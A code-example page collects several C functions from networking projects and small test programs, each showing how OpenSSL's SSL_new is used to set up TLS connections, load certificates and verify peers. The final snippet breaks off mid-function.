Exemple #1
0
SSL *SSL_new_from_context(SSL_CTX *ctx, stream *stream) /* {{{ */
{
    zval **val = NULL;
    char *cafile = NULL;
    char *capath = NULL;
    char *certfile = NULL;
    char *cipherlist = NULL;
    int ok = 1;

    ERR_clear_error();

    /* look at context options in the stream and set appropriate verification flags */
    if (GET_VER_OPT("verify_peer") && zval_is_true(*val)) {

        /* turn on verification callback */
        SSL_CTX_set_verify(ctx, SSL_VERIFY_PEER, verify_callback);

        /* CA stuff */
        GET_VER_OPT_STRING("cafile", cafile);
        GET_VER_OPT_STRING("capath", capath);

        if (cafile || capath) {
            if (!SSL_CTX_load_verify_locations(ctx, cafile, capath)) {
                error_docref(NULL, E_WARNING, "Unable to set verify locations `%s' `%s'", cafile, capath);
                return NULL;
            }
        }

        if (GET_VER_OPT("verify_depth")) {
            convert_to_long_ex(val);
            SSL_CTX_set_verify_depth(ctx, Z_LVAL_PP(val));
        }
    } else {
        SSL_CTX_set_verify(ctx, SSL_VERIFY_NONE, NULL);
    }

    /* callback for the passphrase (for localcert) */
    if (GET_VER_OPT("passphrase")) {
        SSL_CTX_set_default_passwd_cb_userdata(ctx, stream);
        SSL_CTX_set_default_passwd_cb(ctx, passwd_callback);
    }

    GET_VER_OPT_STRING("ciphers", cipherlist);
    if (!cipherlist) {
        cipherlist = "DEFAULT";
    }
    if (SSL_CTX_set_cipher_list(ctx, cipherlist) != 1) {
        return NULL;
    }

    GET_VER_OPT_STRING("local_cert", certfile);
    if (certfile) {
        X509 *cert = NULL;
        EVP_PKEY *key = NULL;
        SSL *tmpssl;
        char resolved_path_buff[MAXPATHLEN];
        const char * private_key = NULL;

        if (VCWD_REALPATH(certfile, resolved_path_buff)) {
            /* a certificate to use for authentication */
            if (SSL_CTX_use_certificate_chain_file(ctx, resolved_path_buff) != 1) {
                error_docref(NULL, E_WARNING, "Unable to set local cert chain file `%s'; Check that your cafile/capath settings include details of your certificate and its issuer", certfile);
                return NULL;
            }
            GET_VER_OPT_STRING("local_pk", private_key);

            if (private_key) {
                char resolved_path_buff_pk[MAXPATHLEN];
                if (VCWD_REALPATH(private_key, resolved_path_buff_pk)) {
                    if (SSL_CTX_use_PrivateKey_file(ctx, resolved_path_buff_pk, SSL_FILETYPE_PEM) != 1) {
                        error_docref(NULL, E_WARNING, "Unable to set private key file `%s'", resolved_path_buff_pk);
                        return NULL;
                    }
                }
            } else {
                if (SSL_CTX_use_PrivateKey_file(ctx, resolved_path_buff, SSL_FILETYPE_PEM) != 1) {
                    error_docref(NULL, E_WARNING, "Unable to set private key file `%s'", resolved_path_buff);
                    return NULL;
                }
            }

            tmpssl = SSL_new(ctx);
            cert = SSL_get_certificate(tmpssl);

            if (cert) {
                key = X509_get_pubkey(cert);
                EVP_PKEY_copy_parameters(key, SSL_get_privatekey(tmpssl));
                EVP_PKEY_free(key);
            }
            SSL_free(tmpssl);

            if (!SSL_CTX_check_private_key(ctx)) {
                error_docref(NULL, E_WARNING, "Private key does not match certificate!");
            }
        }
    }
    if (ok) {
        SSL *ssl = SSL_new(ctx);

        if (ssl) {
            /* map SSL => stream */
            SSL_set_ex_data(ssl, ssl_stream_data_index, stream);
        }
        return ssl;
    }

    return NULL;
}
Exemple #2
0
int main(int argc, char **argv)
{
  int sockfd, new_fd, fd;
  socklen_t len;
  struct sockaddr_in my_addr, their_addr;
  unsigned int myport, lisnum;
  char buf[MAXBUF + 1];
  SSL_CTX *ctx;
  mode_t mode;
  char pwd[100];
  char* temp;


  if (argv[1])
    myport = atoi(argv[1]);
  else
  {
    myport = 7838;
    argv[2]=argv[3]=NULL;
  }

  if (argv[2])
    lisnum = atoi(argv[2]);
  else
  {
    lisnum = 2;
    argv[3]=NULL;
  }

  SSL_library_init();

  OpenSSL_add_all_algorithms();

  SSL_load_error_strings();

  ctx = SSL_CTX_new(SSLv23_server_method());

  if (ctx == NULL)
  {
    ERR_print_errors_fp(stdout);
    exit(1);
  }
  
  SSL_CTX_set_verify(ctx, SSL_VERIFY_PEER, verify_cb);
  SSL_CTX_set_verify_depth(ctx, 10);
  SSL_CTX_load_verify_locations(ctx,CAFILE, NULL);
  
  /* load certificate */
  getcwd(pwd,100);
  if(strlen(pwd)==1)
    pwd[0]='\0';
  if (SSL_CTX_use_certificate_file(ctx, SERVER_CERT_PATH, SSL_FILETYPE_PEM) <= 0)
  {
    printf("certificate file error!\n");
	ERR_print_errors_fp(stdout);
    exit(1);
  }
  /* load private key */
  getcwd(pwd,100);
  if(strlen(pwd)==1)
    pwd[0]='\0';
  if (SSL_CTX_use_PrivateKey_file(ctx, SERVER_KEY_PATH, SSL_FILETYPE_PEM) <= 0)
  {
    printf("privatekey file error!\n");
	ERR_print_errors_fp(stdout);
    exit(1);
  }

  if (!SSL_CTX_check_private_key(ctx))
  {
    printf("Check private key failed!\n");
	ERR_print_errors_fp(stdout);
    exit(1);
  }

  SSL_CTX_set_client_CA_list(ctx, SSL_load_client_CA_file(CAFILE)); 
	
  if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)
  {
    perror("socket");
    exit(1);
  }
  else
    printf("socket created\n");

  bzero(&my_addr, sizeof(my_addr));
  my_addr.sin_family = PF_INET;
  my_addr.sin_port = htons(myport);
  if (argv[3])
    my_addr.sin_addr.s_addr = inet_addr(argv[3]);
  else
    my_addr.sin_addr.s_addr = INADDR_ANY;

  if (bind(sockfd, (struct sockaddr *) &my_addr, sizeof(struct sockaddr)) == -1)
  {
    perror("bind");
    exit(1);
  }
  else
    printf("binded\n");

  if (listen(sockfd, lisnum) == -1)
  {
    perror("listen");
    exit(1);
  }
  else
    printf("begin listen\n");

  while (1)
  {
    SSL *ssl;
    len = sizeof(struct sockaddr);
    /* connection from clients */
    if ((new_fd = accept(sockfd, (struct sockaddr *) &their_addr, &len)) == -1)
    {
      perror("accept");
      exit(errno);
    }
    else
    {
		printf("server: got connection from %s, port %d, socket %d\n", inet_ntoa(their_addr.sin_addr), ntohs(their_addr.sin_port), new_fd);
        
	}
    ssl = SSL_new(ctx);

    SSL_set_fd(ssl, new_fd);

	SSL_CTX_set_verify(SSL_get_SSL_CTX(ssl), SSL_VERIFY_PEER, NULL);
	
    if (SSL_accept(ssl) == -1)
    {
      perror("accept");
      close(new_fd);
      break;
    }

	print_peer_certificate(ssl);
    while(1)
    {
      bzero(buf, MAXBUF + 1);
      len = SSL_read(ssl, buf, MAXBUF);
      if(len == 0)
      {
        printf("Receive Complete !\n");
        break;
      }
      else if(len < 0)
      {
        printf("Failure to receive message ! Error code is %d,Error messages are '%s'\n", errno, strerror(errno));
        exit(1);
      }
	
	printf("Received: %s \n",buf);
	SSL_write(ssl, buf, strlen(buf));
    }


    close(fd);

    SSL_shutdown(ssl);

    SSL_free(ssl);

    close(new_fd);
  }


  close(sockfd);
  SSL_CTX_free(ctx);
  
  return 0;
}
Exemple #3
0
/*
 *	Attempt to negotiate SSL connection.
 */
int
be_tls_open_server(Port *port)
{
	int			r;
	int			err;
	int			waitfor;
	unsigned long ecode;

	Assert(!port->ssl);
	Assert(!port->peer);

	if (!(port->ssl = SSL_new(SSL_context)))
	{
		ereport(COMMERROR,
				(errcode(ERRCODE_PROTOCOL_VIOLATION),
				 errmsg("could not initialize SSL connection: %s",
						SSLerrmessage(ERR_get_error()))));
		return -1;
	}
	if (!my_SSL_set_fd(port, port->sock))
	{
		ereport(COMMERROR,
				(errcode(ERRCODE_PROTOCOL_VIOLATION),
				 errmsg("could not set SSL socket: %s",
						SSLerrmessage(ERR_get_error()))));
		return -1;
	}
	port->ssl_in_use = true;

aloop:

	/*
	 * Prepare to call SSL_get_error() by clearing thread's OpenSSL error
	 * queue.  In general, the current thread's error queue must be empty
	 * before the TLS/SSL I/O operation is attempted, or SSL_get_error() will
	 * not work reliably.  An extension may have failed to clear the
	 * per-thread error queue following another call to an OpenSSL I/O
	 * routine.
	 */
	ERR_clear_error();
	r = SSL_accept(port->ssl);
	if (r <= 0)
	{
		err = SSL_get_error(port->ssl, r);

		/*
		 * Other clients of OpenSSL in the backend may fail to call
		 * ERR_get_error(), but we always do, so as to not cause problems for
		 * OpenSSL clients that don't call ERR_clear_error() defensively.  Be
		 * sure that this happens by calling now. SSL_get_error() relies on
		 * the OpenSSL per-thread error queue being intact, so this is the
		 * earliest possible point ERR_get_error() may be called.
		 */
		ecode = ERR_get_error();
		switch (err)
		{
			case SSL_ERROR_WANT_READ:
			case SSL_ERROR_WANT_WRITE:
				/* not allowed during connection establishment */
				Assert(!port->noblock);

				/*
				 * No need to care about timeouts/interrupts here. At this
				 * point authentication_timeout still employs
				 * StartupPacketTimeoutHandler() which directly exits.
				 */
				if (err == SSL_ERROR_WANT_READ)
					waitfor = WL_SOCKET_READABLE;
				else
					waitfor = WL_SOCKET_WRITEABLE;

				WaitLatchOrSocket(MyLatch, waitfor, port->sock, 0,
								  WAIT_EVENT_SSL_OPEN_SERVER);
				goto aloop;
			case SSL_ERROR_SYSCALL:
				if (r < 0)
					ereport(COMMERROR,
							(errcode_for_socket_access(),
							 errmsg("could not accept SSL connection: %m")));
				else
					ereport(COMMERROR,
							(errcode(ERRCODE_PROTOCOL_VIOLATION),
					errmsg("could not accept SSL connection: EOF detected")));
				break;
			case SSL_ERROR_SSL:
				ereport(COMMERROR,
						(errcode(ERRCODE_PROTOCOL_VIOLATION),
						 errmsg("could not accept SSL connection: %s",
								SSLerrmessage(ecode))));
				break;
			case SSL_ERROR_ZERO_RETURN:
				ereport(COMMERROR,
						(errcode(ERRCODE_PROTOCOL_VIOLATION),
				   errmsg("could not accept SSL connection: EOF detected")));
				break;
			default:
				ereport(COMMERROR,
						(errcode(ERRCODE_PROTOCOL_VIOLATION),
						 errmsg("unrecognized SSL error code: %d",
								err)));
				break;
		}
		return -1;
	}

	/* Get client certificate, if available. */
	port->peer = SSL_get_peer_certificate(port->ssl);

	/* and extract the Common Name from it. */
	port->peer_cn = NULL;
	port->peer_cert_valid = false;
	if (port->peer != NULL)
	{
		int			len;

		len = X509_NAME_get_text_by_NID(X509_get_subject_name(port->peer),
										NID_commonName, NULL, 0);
		if (len != -1)
		{
			char	   *peer_cn;

			peer_cn = MemoryContextAlloc(TopMemoryContext, len + 1);
			r = X509_NAME_get_text_by_NID(X509_get_subject_name(port->peer),
										  NID_commonName, peer_cn, len + 1);
			peer_cn[len] = '\0';
			if (r != len)
			{
				/* shouldn't happen */
				pfree(peer_cn);
				return -1;
			}

			/*
			 * Reject embedded NULLs in certificate common name to prevent
			 * attacks like CVE-2009-4034.
			 */
			if (len != strlen(peer_cn))
			{
				ereport(COMMERROR,
						(errcode(ERRCODE_PROTOCOL_VIOLATION),
						 errmsg("SSL certificate's common name contains embedded null")));
				pfree(peer_cn);
				return -1;
			}

			port->peer_cn = peer_cn;
		}
		port->peer_cert_valid = true;
	}

	ereport(DEBUG2,
			(errmsg("SSL connection from \"%s\"",
					port->peer_cn ? port->peer_cn : "(anonymous)")));

	/* set up debugging/info callback */
	SSL_CTX_set_info_callback(SSL_context, info_cb);

	return 0;
}
Exemple #4
0
R_API bool r_socket_connect (RSocket *s, const char *host, const char *port, int proto, unsigned int timeout) {
#if __WINDOWS__ && !defined(__CYGWIN__) //&& !defined(__MINGW64__)
	struct sockaddr_in sa;
	struct hostent *he;
	WSADATA wsadata;
	TIMEVAL Timeout;
	Timeout.tv_sec = timeout;
	Timeout.tv_usec = 0;

	if (WSAStartup (MAKEWORD (1, 1), &wsadata) == SOCKET_ERROR) {
		eprintf ("Error creating socket.");
		return false;
	}
	s->fd = socket (AF_INET, SOCK_STREAM, 0);
#ifdef _MSC_VER
	if (s->fd == INVALID_SOCKET)
#else
	if (s->fd == -1)
#endif
		return false;

	unsigned long iMode = 1;
	int iResult = ioctlsocket (s->fd, FIONBIO, &iMode);
	if (iResult != NO_ERROR) {
		eprintf ("ioctlsocket error: %d\n", iResult);
	}
	memset (&sa, 0, sizeof(sa));
	sa.sin_family = AF_INET;
	he = (struct hostent *)gethostbyname (host);
	if (he == (struct hostent*)0) {
#ifdef _MSC_VER
		closesocket (s->fd);
#else
		close (s->fd);
#endif
		return false;
	}
	sa.sin_addr = *((struct in_addr *)he->h_addr);
	s->port = r_socket_port_by_name (port);
	sa.sin_port = htons (s->port);
	if (!connect (s->fd, (const struct sockaddr*)&sa, sizeof (struct sockaddr))) {
#ifdef _MSC_VER
		closesocket (s->fd);
#else
		close (s->fd);
#endif
		return false;
	}
	iMode = 0;
	iResult = ioctlsocket (s->fd, FIONBIO, &iMode);
	if (iResult != NO_ERROR) {
		eprintf ("ioctlsocket error: %d\n", iResult);
	}
	fd_set Write, Err;
	FD_ZERO (&Write);
	FD_ZERO (&Err);
	FD_SET (s->fd, &Write);
	FD_SET (s->fd, &Err);
	select (0, NULL, &Write, &Err, &Timeout);
	if(FD_ISSET (s->fd, &Write)) {
		return true;
	}
	return false;
#elif __UNIX__ || defined(__CYGWIN__)
	int ret;
	struct addrinfo hints = {0};
	struct addrinfo *res, *rp;
	if (!proto) {
		proto = R_SOCKET_PROTO_TCP;
	}
	signal (SIGPIPE, SIG_IGN);
	if (proto == R_SOCKET_PROTO_UNIX) {
		if (!r_socket_unix_connect (s, host)) {
			return false;
		}
	} else {
		hints.ai_family = AF_UNSPEC; /* Allow IPv4 or IPv6 */
		hints.ai_protocol = proto;
		int gai = getaddrinfo (host, port, &hints, &res);
		if (gai != 0) {
			eprintf ("Error in getaddrinfo: %s\n", gai_strerror (gai));
			return false;
		}
		for (rp = res; rp != NULL; rp = rp->ai_next) {
			int flag = 1;

			s->fd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
			if (s->fd == -1) {
				perror ("socket");
				continue;
			}
			ret = setsockopt (s->fd, IPPROTO_TCP, TCP_NODELAY, &flag, sizeof (flag));
			if (ret < 0) {
				perror ("setsockopt");
				close (s->fd);
				s->fd = -1;
				continue;
			}
			if (timeout > 0) {
				r_socket_block_time (s, 1, timeout);
				//fcntl (s->fd, F_SETFL, O_NONBLOCK, 1);
			}
			ret = connect (s->fd, rp->ai_addr, rp->ai_addrlen);

			if (timeout == 0 && ret == 0) {
				freeaddrinfo (res);
				return true;
			}
			if (ret == 0 /* || nonblocking */) {
				struct timeval tv;
				fd_set fdset, errset;
				FD_ZERO (&fdset);
				FD_SET (s->fd, &fdset);
				tv.tv_sec = 1; //timeout;
				tv.tv_usec = 0;

				if (r_socket_is_connected (s)) {
					freeaddrinfo (res);
					return true;
				}
				if (select (s->fd + 1, NULL, NULL, &errset, &tv) == 1) {
					int so_error;
					socklen_t len = sizeof so_error;
					ret = getsockopt (s->fd, SOL_SOCKET,
						SO_ERROR, &so_error, &len);

					if (ret == 0 && so_error == 0) {
						//fcntl (s->fd, F_SETFL, O_NONBLOCK, 0);
						//r_socket_block_time (s, 0, 0);
						freeaddrinfo (res);
						return true;
					}
				}
			}
			close (s->fd);
			s->fd = -1;
		}
		freeaddrinfo (res);
		if (!rp) {
			eprintf ("Could not resolve address '%s' or failed to connect\n", host);
			return false;
		}
	}
#endif
#if HAVE_LIB_SSL
	if (s->is_ssl) {
		s->ctx = SSL_CTX_new (SSLv23_client_method ());
		if (!s->ctx) {
			r_socket_free (s);
			return false;
		}
		s->sfd = SSL_new (s->ctx);
		SSL_set_fd (s->sfd, s->fd);
		if (SSL_connect (s->sfd) != 1) {
			r_socket_free (s);
			return false;
		}
	}
#endif
	return true;
}
Exemple #5
0
/*! \brief
* creates a FILE * from the fd passed by the accept thread.
* This operation is potentially expensive (certificate verification),
* so we do it in the child thread context.
*
* \note must decrement ref count before returning NULL on error
*/
static void *handle_tcptls_connection(void *data)
{
    struct ast_tcptls_session_instance *tcptls_session = data;
#ifdef DO_SSL
    int (*ssl_setup)(SSL *) = (tcptls_session->client) ? SSL_connect : SSL_accept;
    int ret;
    char err[256];
#endif

    /* TCP/TLS connections are associated with external protocols, and
     * should not be allowed to execute 'dangerous' functions. This may
     * need to be pushed down into the individual protocol handlers, but
     * this seems like a good general policy.
     */
    if (ast_thread_inhibit_escalations()) {
        ast_log(LOG_ERROR, "Failed to inhibit privilege escalations; killing connection\n");
        ast_tcptls_close_session_file(tcptls_session);
        ao2_ref(tcptls_session, -1);
        return NULL;
    }

    /*
    * open a FILE * as appropriate.
    */
    if (!tcptls_session->parent->tls_cfg) {
        if ((tcptls_session->f = fdopen(tcptls_session->fd, "w+"))) {
            if(setvbuf(tcptls_session->f, NULL, _IONBF, 0)) {
                ast_tcptls_close_session_file(tcptls_session);
            }
        }
    }
#ifdef DO_SSL
    else if ( (tcptls_session->ssl = SSL_new(tcptls_session->parent->tls_cfg->ssl_ctx)) ) {
        SSL_set_fd(tcptls_session->ssl, tcptls_session->fd);
        if ((ret = ssl_setup(tcptls_session->ssl)) <= 0) {
            ast_log(LOG_ERROR, "Problem setting up ssl connection: %s\n", ERR_error_string(ERR_get_error(), err));
        } else {
#if defined(HAVE_FUNOPEN)	/* the BSD interface */
            tcptls_session->f = funopen(tcptls_session->ssl, ssl_read, ssl_write, NULL, ssl_close);

#elif defined(HAVE_FOPENCOOKIE)	/* the glibc/linux interface */
            static const cookie_io_functions_t cookie_funcs = {
                ssl_read, ssl_write, NULL, ssl_close
            };
            tcptls_session->f = fopencookie(tcptls_session->ssl, "w+", cookie_funcs);
#else
            /* could add other methods here */
            ast_debug(2, "no tcptls_session->f methods attempted!\n");
#endif
            if ((tcptls_session->client && !ast_test_flag(&tcptls_session->parent->tls_cfg->flags, AST_SSL_DONT_VERIFY_SERVER))
                    || (!tcptls_session->client && ast_test_flag(&tcptls_session->parent->tls_cfg->flags, AST_SSL_VERIFY_CLIENT))) {
                X509 *peer;
                long res;
                peer = SSL_get_peer_certificate(tcptls_session->ssl);
                if (!peer) {
                    ast_log(LOG_ERROR, "No peer SSL certificate to verify\n");
                    ast_tcptls_close_session_file(tcptls_session);
                    ao2_ref(tcptls_session, -1);
                    return NULL;
                }

                res = SSL_get_verify_result(tcptls_session->ssl);
                if (res != X509_V_OK) {
                    ast_log(LOG_ERROR, "Certificate did not verify: %s\n", X509_verify_cert_error_string(res));
                    X509_free(peer);
                    ast_tcptls_close_session_file(tcptls_session);
                    ao2_ref(tcptls_session, -1);
                    return NULL;
                }
                if (!ast_test_flag(&tcptls_session->parent->tls_cfg->flags, AST_SSL_IGNORE_COMMON_NAME)) {
                    ASN1_STRING *str;
                    unsigned char *str2;
                    X509_NAME *name = X509_get_subject_name(peer);
                    int pos = -1;
                    int found = 0;

                    for (;;) {
                        /* Walk the certificate to check all available "Common Name" */
                        /* XXX Probably should do a gethostbyname on the hostname and compare that as well */
                        pos = X509_NAME_get_index_by_NID(name, NID_commonName, pos);
                        if (pos < 0) {
                            break;
                        }
                        str = X509_NAME_ENTRY_get_data(X509_NAME_get_entry(name, pos));
                        ASN1_STRING_to_UTF8(&str2, str);
                        if (str2) {
                            if (!strcasecmp(tcptls_session->parent->hostname, (char *) str2)) {
                                found = 1;
                            }
                            ast_debug(3, "SSL Common Name compare s1='%s' s2='%s'\n", tcptls_session->parent->hostname, str2);
                            OPENSSL_free(str2);
                        }
                        if (found) {
                            break;
                        }
                    }
                    if (!found) {
                        ast_log(LOG_ERROR, "Certificate common name did not match (%s)\n", tcptls_session->parent->hostname);
                        X509_free(peer);
                        ast_tcptls_close_session_file(tcptls_session);
                        ao2_ref(tcptls_session, -1);
                        return NULL;
                    }
                }
                X509_free(peer);
            }
        }
        if (!tcptls_session->f) {	/* no success opening descriptor stacking */
            SSL_free(tcptls_session->ssl);
        }
    }
#endif /* DO_SSL */

    if (!tcptls_session->f) {
        ast_tcptls_close_session_file(tcptls_session);
        ast_log(LOG_WARNING, "FILE * open failed!\n");
#ifndef DO_SSL
        if (tcptls_session->parent->tls_cfg) {
            ast_log(LOG_ERROR, "Attempted a TLS connection without OpenSSL support. This will not work!\n");
        }
#endif
        ao2_ref(tcptls_session, -1);
        return NULL;
    }

    if (tcptls_session->parent->worker_fn) {
        return tcptls_session->parent->worker_fn(tcptls_session);
    } else {
        return tcptls_session;
    }
}
Exemple #6
0
int main()
{
    BIO * bio;
    SSL * ssl;
    SSL_CTX * ctx;
    
    int sockfd;
	int len;
	struct sockaddr_in address;
	int result=0;
	char ch = 'A';

    int p;

    char * request = "GET / HTTP/1.1\x0D\x0AHost: localhost\x0D\x0A\x43onnection: Close\x0D\x0A\x0D\x0A";
    char r[1024];

    /* Set up the library */

    ERR_load_BIO_strings();
    SSL_load_error_strings();
    SSL_library_init();
    OpenSSL_add_all_algorithms();

    /* Set up the SSL context */

    ctx = SSL_CTX_new(SSLv23_client_method());

    /* Load the trust store */

    if(! SSL_CTX_load_verify_locations(ctx, "TrustStore.pem", NULL))
    {
        fprintf(stderr, "Error loading trust store\n");
        ERR_print_errors_fp(stderr);
        SSL_CTX_free(ctx);
        return 0;
    }

    /* Setup the connection 

	bio = BIO_new_ssl_connect(ctx);

    /* Set the SSL_MODE_AUTO_RETRY flag 

    BIO_get_ssl(bio, & ssl);
    SSL_set_mode(ssl, SSL_MODE_AUTO_RETRY);

    /* Create and setup the connection 

    BIO_set_conn_hostname(bio, "localhost:4422");

    if(BIO_do_connect(bio) <= 0)
    {
        fprintf(stderr, "Error attempting to connect\n");
        ERR_print_errors_fp(stderr);
        BIO_free_all(bio);
        SSL_CTX_free(ctx);
        return 0;
    }
    
    /* Check the certificate */

	//socket for client
	sockfd = socket(AF_INET, SOCK_STREAM, 0);

	//naming socket
	address.sin_family = AF_INET;
	address.sin_addr.s_addr = inet_addr("127.0.0.1");
	address.sin_port = htons(9738);
	len = sizeof(address);
	printf("length=%d\n",len);
	printf("Socket done\n");

    //connecting server
	result = connect(sockfd, (struct sockaddr *)&address, len);
	if(result <0)
	{
		perror("oops: client\n");
		exit(1);
	}
	else
	{
		printf("Socket Connected\n");
	}
	ssl = SSL_new(ctx);
	BIO *sbio;
	sbio = BIO_new(BIO_s_socket());
	BIO_set_fd(sbio, sockfd, BIO_NOCLOSE);
	SSL_set_bio(ssl, sbio, sbio);
	//SSL_CTX_set_verify_depth(ctx, 1);
	//SSL_set_fd(ssl, sockfd);
	result = SSL_connect(ssl);
	printf("SSL_connect: %d\n", result);
	
	if(SSL_get_verify_result(ssl) != X509_V_OK)
    {
        fprintf(stderr, "Certificate verification error: %i\n", SSL_get_verify_result(ssl));
        BIO_free_all(bio);
        SSL_CTX_free(ctx);
        return 0;
    }
    
    SSL_read(ssl, &ch, 1);
	printf("char from server = %c\n", ch);
	SSL_shutdown(ssl);  
	close(sockfd);
	exit(0);
    
    
    /*for(;;)
    {
        p = BIO_read(bio, r, 1023);
        if(p <= 0) break;
        r[p] = 0;
        printf("%s", r);
    }
    
    FILE *fp = NULL;
	while (fp == NULL) {
		fp = fopen("/home/herat/Downloads/openssl-backup/shared","r");
	}
	remove("/home/herat/Downloads/openssl-backup/shared");*/

    /* Send the request */

    //BIO_write(bio, request, strlen(request));

    /* Read in the response */

    /*for(;;)
    {
        p = BIO_read(bio, r, 1023);
        if(p <= 0) break;
        r[p] = 0;
        printf("%s", r);
    }

    /* Close the connection and free the context 

    BIO_free_all(bio);
    SSL_CTX_free(ctx);*/
    return 0;
}
Exemple #7
0
static int
new_ssl_stream(const char *name, int fd, enum session_type type,
               enum ssl_state state, struct stream **streamp)
{
    struct ssl_stream *sslv;
    SSL *ssl = NULL;
    int retval;

    /* Check for all the needful configuration. */
    retval = 0;
    if (!private_key.read) {
        VLOG_ERR("Private key must be configured to use SSL");
        retval = ENOPROTOOPT;
    }
    if (!certificate.read) {
        VLOG_ERR("Certificate must be configured to use SSL");
        retval = ENOPROTOOPT;
    }
    if (!ca_cert.read && verify_peer_cert && !bootstrap_ca_cert) {
        VLOG_ERR("CA certificate must be configured to use SSL");
        retval = ENOPROTOOPT;
    }
    if (!retval && !SSL_CTX_check_private_key(ctx)) {
        VLOG_ERR("Private key does not match certificate public key: %s",
                 ERR_error_string(ERR_get_error(), NULL));
        retval = ENOPROTOOPT;
    }
    if (retval) {
        goto error;
    }

    /* Disable Nagle.
     * On windows platforms, this can only be called upon TCP connected.
     */
    if (state == STATE_SSL_CONNECTING) {
        setsockopt_tcp_nodelay(fd);
    }

    /* Create and configure OpenSSL stream. */
    ssl = SSL_new(ctx);
    if (ssl == NULL) {
        VLOG_ERR("SSL_new: %s", ERR_error_string(ERR_get_error(), NULL));
        retval = ENOPROTOOPT;
        goto error;
    }
    if (SSL_set_fd(ssl, fd) == 0) {
        VLOG_ERR("SSL_set_fd: %s", ERR_error_string(ERR_get_error(), NULL));
        retval = ENOPROTOOPT;
        goto error;
    }
    if (!verify_peer_cert || (bootstrap_ca_cert && type == CLIENT)) {
        SSL_set_verify(ssl, SSL_VERIFY_NONE, NULL);
    }

    /* Create and return the ssl_stream. */
    sslv = xmalloc(sizeof *sslv);
    stream_init(&sslv->stream, &ssl_stream_class, EAGAIN, name);
    sslv->state = state;
    sslv->type = type;
    sslv->fd = fd;
    sslv->ssl = ssl;
    sslv->txbuf = NULL;
    sslv->rx_want = sslv->tx_want = SSL_NOTHING;
    sslv->session_nr = next_session_nr++;
    sslv->n_head = 0;

    if (VLOG_IS_DBG_ENABLED()) {
        SSL_set_msg_callback(ssl, ssl_protocol_cb);
        SSL_set_msg_callback_arg(ssl, sslv);
    }

    *streamp = &sslv->stream;
    return 0;

error:
    if (ssl) {
        SSL_free(ssl);
    }
    closesocket(fd);
    return retval;
}
Exemple #8
0
static int ssl_do(struct st_VioSSLFd *ptr, Vio *vio, long timeout,
                  ssl_handshake_func_t func, unsigned long *errptr)
{
  int r;
  SSL *ssl;
  my_socket sd= mysql_socket_getfd(vio->mysql_socket);
  DBUG_ENTER("ssl_do");
  DBUG_PRINT("enter", ("ptr: 0x%lx, sd: %d  ctx: 0x%lx",
                       (long) ptr, sd, (long) ptr->ssl_context));

  if (!(ssl= SSL_new(ptr->ssl_context)))
  {
    DBUG_PRINT("error", ("SSL_new failure"));
    *errptr= ERR_get_error();
    DBUG_RETURN(1);
  }
  DBUG_PRINT("info", ("ssl: 0x%lx timeout: %ld", (long) ssl, timeout));
  SSL_clear(ssl);
  SSL_SESSION_set_timeout(SSL_get_session(ssl), timeout);
  SSL_set_fd(ssl, sd);
#ifndef HAVE_YASSL
  SSL_set_options(ssl, SSL_OP_NO_COMPRESSION);
#endif

  /*
    Since yaSSL does not support non-blocking send operations, use
    special transport functions that properly handles non-blocking
    sockets. These functions emulate the behavior of blocking I/O
    operations by waiting for I/O to become available.
  */
#ifdef HAVE_YASSL
  /* Set first argument of the transport functions. */
  yaSSL_transport_set_ptr(ssl, vio);
  /* Set functions to use in order to send and receive data. */
  yaSSL_transport_set_recv_function(ssl, yassl_recv);
  yaSSL_transport_set_send_function(ssl, yassl_send);
#endif

  if ((r= ssl_handshake_loop(vio, ssl, func)) < 1)
  {
    DBUG_PRINT("error", ("SSL_connect/accept failure"));
    *errptr= SSL_get_error(ssl, r);
    SSL_free(ssl);
    DBUG_RETURN(1);
  }

  /*
    Connection succeeded. Install new function handlers,
    change type, set sd to the fd used when connecting
    and set pointer to the SSL structure
  */
  if (vio_reset(vio, VIO_TYPE_SSL, SSL_get_fd(ssl), ssl, 0))
    DBUG_RETURN(1);

#ifndef DBUG_OFF
  {
    /* Print some info about the peer */
    X509 *cert;
    char buf[512];

    DBUG_PRINT("info",("SSL connection succeeded"));
    DBUG_PRINT("info",("Using cipher: '%s'" , SSL_get_cipher_name(ssl)));

    if ((cert= SSL_get_peer_certificate (ssl)))
    {
      DBUG_PRINT("info",("Peer certificate:"));
      X509_NAME_oneline(X509_get_subject_name(cert), buf, sizeof(buf));
      DBUG_PRINT("info",("\t subject: '%s'", buf));
      X509_NAME_oneline(X509_get_issuer_name(cert), buf, sizeof(buf));
      DBUG_PRINT("info",("\t issuer: '%s'", buf));
      X509_free(cert);
    }
    else
      DBUG_PRINT("info",("Peer does not have certificate."));

    if (SSL_get_shared_ciphers(ssl, buf, sizeof(buf)))
    {
      DBUG_PRINT("info",("shared_ciphers: '%s'", buf));
    }
    else
      DBUG_PRINT("info",("no shared ciphers!"));
  }
#endif

  DBUG_RETURN(0);
}
Exemple #9
0
static void
evsock_connect_handler (struct evsock *sock) {
    int ret, err;
    socklen_t errlen;
    unsigned long e;

    if (sock->ssl) {
        ret = SSL_connect(sock->ssl);
        if (ret <= 0) {
            err = SSL_get_error(sock->ssl, ret);
            switch (err) {
            case SSL_ERROR_WANT_READ:
                EV_IO_RESET(sock->loop, &sock->w, EV_READ);
                return;
            case SSL_ERROR_WANT_WRITE:
                EV_IO_RESET(sock->loop, &sock->w, EV_WRITE);
                return;
            case SSL_ERROR_SYSCALL:
                e = ERR_get_error();
                if (!e) {
                    if (errno == EINTR || errno == EWOULDBLOCK || errno == EAGAIN) {
                        return;
                    }
                }
            default:
                fprintf(stderr, "SSL_connect: errro\n");
                SSL_free(sock->ssl);
                close(sock->fd);
                ev_io_stop(sock->loop, &sock->w);
                if (sock->data.destroy) {
                    sock->data.destroy(sock->data.ptr);
                }
                return;
            }
        }
    } else {
        errlen = sizeof(err);
        if (getsockopt(sock->fd, SOL_SOCKET, SO_ERROR, &err, &errlen) == -1) {
            perror("getsockpot");
            close(sock->fd);
            ev_io_stop(sock->loop, &sock->w);
            if (sock->data.destroy) {
                sock->data.destroy(sock->data.ptr);
            }
            return;
        }
        if (err) {
            fprintf(stderr, "connect: %s\n", strerror(err));
            close(sock->fd);
            ev_io_stop(sock->loop, &sock->w);
            if (sock->data.destroy) {
                sock->data.destroy(sock->data.ptr);
            }
            return;
        }
        if (sock->ctx) {
            sock->ssl = SSL_new(sock->ctx);
            if (!sock->ssl) {
                ERR_print_errors_fp(stderr);
                close(sock->fd);
